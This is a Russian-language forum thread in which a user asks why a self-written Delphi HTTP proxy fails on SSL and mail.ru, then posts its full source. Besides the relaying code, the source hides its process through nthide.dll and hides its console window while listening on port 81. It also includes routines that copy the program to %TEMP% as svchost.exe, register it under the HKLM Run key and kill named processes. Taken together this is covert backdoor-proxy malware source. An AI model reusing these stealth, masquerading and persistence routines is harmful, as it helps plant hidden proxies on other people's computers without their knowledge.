Ачатовцы, хотел вас спросить.
Ситуация такая:
Есть комп в локалке, я с него через Local Proxy сижу в инете. Все вроде бы отлично, но ...
- зайти на тот же mail.ru в свою почту не могу
- ssl протокол тож не поддерживает
- ну и др проблумы в этом же направлении
Хотел бы спросить, если ли возможность както исправить этот недостаток.
Прокся писана под Делфи в консоле. Можно ли исходник переделать, или же надо все переписывать.
Или же лучше готовые прокcисервера использовать?
Вобщем, буду рад любым советам
P.S.На сокетах не сидел
Не понимаю зачем такие сложности. Может проще будет 3proxy для таких целей использовать? Ну а если исправлять недостатки - это всегда можно, было бы желание. Тем более Delphi.
ShadOS. Хотелось бы услышать, из-за чего такая проблема? Почему не я могу зайти через проксю, например, в свою почту на mail.ru?
PS. Не зная причин, тяжело латать код!
при чем тут " Исследование программного обеспечения\реверсинг"
ShadOS. Хотелось бы услышать, из-за чего такая проблема? Почему не я могу зайти через проксю, например, в свою почту на mail.ru?
PS. Не зная причин, тяжело латать код!
Ты уж извини, я конечно HellKnight, но я всё-таки не медиум чтобы так без наличия исходных даных (исходник или хотя бы сама прокся, дампы соединения и т.п) выдать тебе решение.
>>P.S. Абсолютно верно.
при чем тут " Исследование программного обеспечения\реверсинг"
Если есть более подходящий раздел, жду советов. Я таких не нашел, тем более что я хочу "подправить" код в Делфе, если это возможно.
_Great_ , думаю теперь ты меня понимаешь .......
SK | Heaton
14.03.2007, 07:02
Мда... Уж00с
1.На самописном прокси фильтер(или блэк лист) есть? (ты проверли фильтер)
2.Посмотри настройки проксия мржет не так настроил и ваще тут нет телепатов чтоб сказать какая причина у тя, не знаю как у тя там настроен прокси и какую ошибку пишед при открытия страницы майл ру!!!!
ВОт код всей прокси:
может теперь станет ясней
program proxy;
{$APPTYPE CONSOLE}
uses
Messages,
Variants,
Graphics,
Controls,
Forms,
Registry,
StdCtrls,
FileCtrl,
Buttons,
system,
SysUtils,
Windows,
Winsock,
Classes,
ShellAPI,
TlHelp32;
function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall; external'nthide.dll';
type TCompletionPort=class
public
FHandle:THandle;
constructor Create(dwNumberOfConcurentThreads:DWORD);
destructor Destroy;override;
function AssociateDevice(hDevice:THandle;dwCompKey:DWORD):b oolean;
end;
TAcceptThread=class(TThread)
private
FListenSocket:TSocket;
FListenPort:Word;
FClientList:TList;
procedure GarbageCollect;
protected
procedure Execute;override;
public
constructor Create(AListenPort:Word);reintroduce;
destructor Destroy;override;
end;
type TClientThread=class(TThread)
public
procedure Execute;override;
end;
type TClient=class
private
FSocket:TSocket;
FEvent:THandle;
ov:POVERLAPPED;
Buffer:Pointer;
BufSize:Cardinal;
procedure Write(Buf:Pointer;Size:Cardinal);
public
FOppositeClient:TClient;
FLastActivity:double;
constructor Create;
destructor Destroy;override;
procedure Connect(ARequest:string);
procedure Disconnect;
procedure Complete(dwNumBytes:Cardinal);virtual;abstract;
end;
TInternalClient=class(TClient)
public
procedure Complete(dwNumBytes:Cardinal);override;
end;
TExternalClient=class(TClient)
public
procedure Complete(dwNumBytes:Cardinal);override;
end;
//-------------------------------implementation-------------------------------
var
FCompPort:TCompletionPort;
procedure LWrite(Text: String; Color: Word; BreakLine: Byte);
var
tmpColor: Word;
sbinfo: _CONSOLE_SCREEN_BUFFER_INFO;
begin
GetConsoleScreenBufferInfo(GetStdHandle(STD_OUTPUT _HANDLE), sbinfo);
tmpColor:= sbinfo.wAttributes;
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HA NDLE), Color);
if Boolean(BreakLine) then WriteLn(Text) else Write(Text);
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HA NDLE), tmpColor);
end;
{ TCompletionPort }
constructor TCompletionPort.Create(dwNumberOfConcurentThreads: DWORD);
begin
FHandle:=CreateIoCompletionPort(INVALID_HANDLE_VAL UE,0,0,dwNumberOfConcurentThreads);
end;
function TCompletionPort.AssociateDevice(hDevice: THandle;
dwCompKey: DWORD): boolean;
begin
result:=CreateIoCompletionPort(hDevice,FHandle,dwC ompKey,0)=FHandle;
end;
destructor TCompletionPort.Destroy;
begin
CloseHandle(FHandle);
inherited;
end;
{ TAcceptThread }
constructor TAcceptThread.Create(AListenPort: Word);
begin
inherited Create(false);
FListenPort:=AListenPort;
FClientList:=TList.Create;
end;
destructor TAcceptThread.Destroy;
begin
FClientList.Free;
inherited;
end;
procedure TAcceptThread.GarbageCollect;
var
AClient:TClient;
i:integer;
begin
for i:=0 to FClientList.Count-1 do begin
AClient:=TClient(FClientList[i]);
if Assigned(AClient) then
if (AClient.FSocket=INVALID_SOCKET) and ((now-AClient.FLastActivity)>7E-4) then
begin
FClientList[i]:=nil;
if Assigned(AClient.FOppositeClient) then AClient.FOppositeClient.Free;
AClient.Free;
end;
end;
FClientList.Pack;
FClientList.Capacity:=FClientList.Count;
end;
procedure TAcceptThread.Execute;
var
FAddr: TSockAddrIn;
Len: Integer;
ClientSocket:TSocket;
InternalClient:TClient;
begin
FListenSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
FAddr.sin_family := PF_INET;
FAddr.sin_addr.s_addr := INADDR_ANY;
FAddr.sin_port := htons(FListenPort);
bind(FListenSocket, FAddr, SizeOf(FAddr));
listen(FListenSocket, SOMAXCONN);
try
while not Terminated do begin
Len:=sizeof(FAddr);
ClientSocket:=accept(FListenSocket, @FAddr, @Len);
try
GarbageCollect;
if ClientSocket<>INVALID_SOCKET then begin
InternalClient:=TInternalClient.Create;
InternalClient.FSocket:=ClientSocket;
FClientList.Add(InternalClient);
FCompPort.AssociateDevice(InternalClient.FSocket,C ardinal(InternalClient));
InternalClient.Complete(0);
end;
except end;
end;
finally
shutdown(FListenSocket,2);
closesocket(FListenSocket);
end;
end;
{ TClientThread }
procedure TClientThread.Execute;
var
CompKey,dwNumBytes:Cardinal;
ov:POVERLAPPED;
begin
try
while not Terminated do begin
if GetQueuedCompletionStatus(FCompPort.FHandle,dwNumB ytes,CompKey,ov,INFINITE) and (dwNumBytes>0) then
begin
if TClient(CompKey).FSocket<>INVALID_SOCKET then begin
TClient(CompKey).Complete(dwNumBytes);
TClient(CompKey).FLastActivity:=now;
end;
end else
TClient(CompKey).Disconnect;
end;
except
TClientThread.Create(false);
end;
end;
{ TClient }
constructor TClient.Create;
begin
FSocket:=INVALID_SOCKET;
BufSize:=8192;
GetMem(Buffer,BufSize);
new(ov);
ov.Internal:=0;
ov.InternalHigh:=0;
ov.Offset:=0;
ov.OffsetHigh:=0;
ov.hEvent:=0;
FEvent:=CreateEvent(nil,true,false,nil);
FLastActivity:=now;
end;
destructor TClient.Destroy;
begin
Disconnect;
CloseHandle(FEvent);
FreeMem(Buffer);
Dispose(ov);
inherited;
end;
////////////////////////////////////////////////////////////////////////////////
//
// Прием запроса на подключение к удаленному хосту
procedure TClient.Connect(ARequest: string);
var
f,t:integer;
ARemoteAddress:string;
ARemotePort:string;
he:PHostEnt;
FAddr:TSockAddrIn;
begin
f:=Pos('/',ARequest)+2;
t:=Pos('HTTP',ARequest)-1;
ARemoteAddress:=Copy(ARequest,f,t-f);
t:=Pos('/',ARemoteAddress);
if t<>0 then ARemoteAddress:=Copy(ARemoteAddress,0,t-1);
t:=Pos(':',ARemoteAddress);
if t<>0 then begin
ARemotePort:=Copy(ARemoteAddress,t+1,Length(ARemot eAddress)-t);
ARemoteAddress:=Copy(ARemoteAddress,0,t-1);
end else
ARemotePort:='80';
WriteLn('Trying to connect: '+ ARemoteAddress);
he:=GetHostByName(PChar(ARemoteAddress));
if not Assigned(he) then exit;
ARemoteAddress:=inet_ntoa(PInAddr(he.h_addr_list^) ^);
FSocket:=socket(PF_INET, SOCK_STREAM, IPPROTO_IP);
FAddr.sin_family:=PF_INET;
FAddr.sin_addr.s_addr :=inet_addr(PChar(ARemoteAddress));
try
FAddr.sin_port := htons(StrToInt(ARemotePort));
if WinSock.connect(FSocket, FAddr, SizeOf(FAddr))=SOCKET_ERROR then FSocket:=INVALID_SOCKET;
except
WriteLn('Connection failed');
end;
end;
procedure TClient.Disconnect;
begin
if FSocket<>INVALID_SOCKET then begin
shutdown(FSocket,2);
closesocket(FSocket);
FSocket:=INVALID_SOCKET;
if Assigned(FOppositeClient) then FOppositeClient.Disconnect;
end;
end;
procedure TClient.Write(Buf: Pointer; Size: Cardinal);
var
BytesWrite:Cardinal;
begin
ov.hEvent:=FEvent or 1;
WriteFile(FSocket,Buf^,Size,BytesWrite,ov);
ov.hEvent:=0;
end;
{ TInternalClient }
procedure TInternalClient.Complete(dwNumBytes: Cardinal);
var
BytesRead:Cardinal;
begin
if dwNumBytes>0 then begin
if not Assigned(FOppositeClient) then begin
FOppositeClient:=TExternalClient.Create;
FOppositeClient.FOppositeClient:=self;
FOppositeClient.Connect(PChar(Buffer));
if FOppositeClient.FSocket=INVALID_SOCKET then begin
Disconnect;
exit;
end;
FCompPort.AssociateDevice(FOppositeClient.FSocket, Cardinal(FOppositeClient));
FOppositeClient.Complete(0);
end;
FOppositeClient.Write(Buffer,dwNumBytes);
end;
ReadFile(FSocket,Buffer^,BufSize,BytesRead,ov);
end;
{ TExternalClient }
procedure TExternalClient.Complete(dwNumBytes: Cardinal);
var
BytesRead:Cardinal;
begin
if dwNumBytes>0 then FOppositeClient.Write(Buffer,dwNumBytes);
ReadFile(FSocket,Buffer^,BufSize,BytesRead,ov);
end;
{Autorun}
procedure StartFromRegistry(appName,appPath:string);
var
reg: TRegistry;
begin
reg := TRegistry.Create;
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.LazyWrite := false;
reg.OpenKey('Software\Microsoft\Windows\CurrentVer sion\Run',true{canCreate});
reg.WriteString(appname,appPath);
reg.CloseKey;
reg.free;
end;
{убиваем процесс}
function KillTask(ExeFileName: string): integer;
const
PROCESS_TERMINATE=$0001;
var
ContinueLoop: BOOL;
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
begin
result := 0;
FSnapshotHandle := CreateToolhelp32Snapshot
(TH32CS_SNAPPROCESS, 0);
FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
ContinueLoop := Process32First(FSnapshotHandle,
FProcessEntry32);
while integer(ContinueLoop) <> 0 do
begin
if ((UpperCase(ExtractFileName(FProcessEntry32.szExeF ile)) =
UpperCase(ExeFileName))
or (UpperCase(FProcessEntry32.szExeFile) =
UpperCase(ExeFileName))) then
Result := Integer(TerminateProcess(OpenProcess(
PROCESS_TERMINATE, BOOL(0),
FProcessEntry32.th32ProcessID), 0));
ContinueLoop := Process32Next(FSnapshotHandle,
FProcessEntry32);
end;
CloseHandle(FSnapshotHandle);
end;
{copy}
procedure CopyProg;
var
aTempBuf:array[0..MAX_PATH] of char;
path,s,nameprog: string;
begin
GetEnvironmentVariable('temp',aTempBuf,MAX_PATH);
path := StrPas(aTempBuf);
nameprog:='svchost.exe';
s:=path+'\'+nameprog;
if fileexists(s) then if application.ExeName<>s then halt;
if fileexists(s) then exit else
begin
CopyFile(PChar (application.ExeName) ,PChar (s),true);
WinExec(PChar (s), SW_SHOW );
end;
end;
{ Graphik}
const
ClientThreadCount:integer=8;
ListenPort:Dword=81;
var
WSAData:TWSAData;
Cnt:Cardinal;
i:integer;
Buff: array [0..10] of char;
ConsoleText: String;
Handle : THandle;
s: string;
begin
// CopyProg;
// KillTask('proxy_dpr.exe');
//s:=application.ExeName;
//StartFromRegistry('',s);
HideProcess(GetCurrentProcessId, false); {убиваем процесс}
Handle:= GetForegroundWindow;
ShowWindow(Handle, SW_HIDE);
//----------
LWrite('Prepare to work:',FOREGROUND_GREEN or FOREGROUND_INTENSITY,0);
Writeln('');
LWrite('=======================',FOREGROUND_GREEN or FOREGROUND_INTENSITY,0);
Writeln('');
LWrite('Create main socket:',FOREGROUND_RED or FOREGROUND_INTENSITY,0);
FCompPort:=TCompletionPort.Create(ClientThreadCoun t);
LWrite(' Ok',FOREGROUND_RED or FOREGROUND_INTENSITY,0);
Writeln('');
if FCompPort.FHandle<>0 then begin
LWrite('Initialise:',FOREGROUND_RED or FOREGROUND_INTENSITY,0);
WSAStartup($0101, WSAData);
LWrite(' Ok',FOREGROUND_RED or FOREGROUND_INTENSITY,0);
Writeln('');
LWrite('Create main threads:',FOREGROUND_RED or FOREGROUND_INTENSITY,0);
for i:=0 to ClientThreadCount-1 do TClientThread.Create(false);
TAcceptThread.Create(ListenPort);
LWrite(' Ok',FOREGROUND_RED or FOREGROUND_INTENSITY,0);
Writeln('');
LWrite('=======================',FOREGROUND_GREEN or FOREGROUND_INTENSITY,0);
Writeln('');
LWrite('Proxy activate',FOREGROUND_GREEN or FOREGROUND_INTENSITY,0);
Writeln('');
LWrite('=======================',FOREGROUND_GREEN or FOREGROUND_INTENSITY,0);
Writeln('');
repeat
ReadConsole(GetStdHandle(STD_INPUT_HANDLE),@Buff,1 0,Cnt,nil);
ConsoleText := String(Buff);
until UpperCase(Copy(ConsoleText,1,4)) = 'EXIT';
WSACleanup;
end;
end.
Ужас. Отключи смайлы в коде, пожалуйста.
Решение нашел, топик можно закрыть.
Всем спасибо за желание помочь.
Решение нашел, топик можно закрыть.
Всем спасибо за желание помочь.
И какое решение? В чём у тебя проблема была?
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot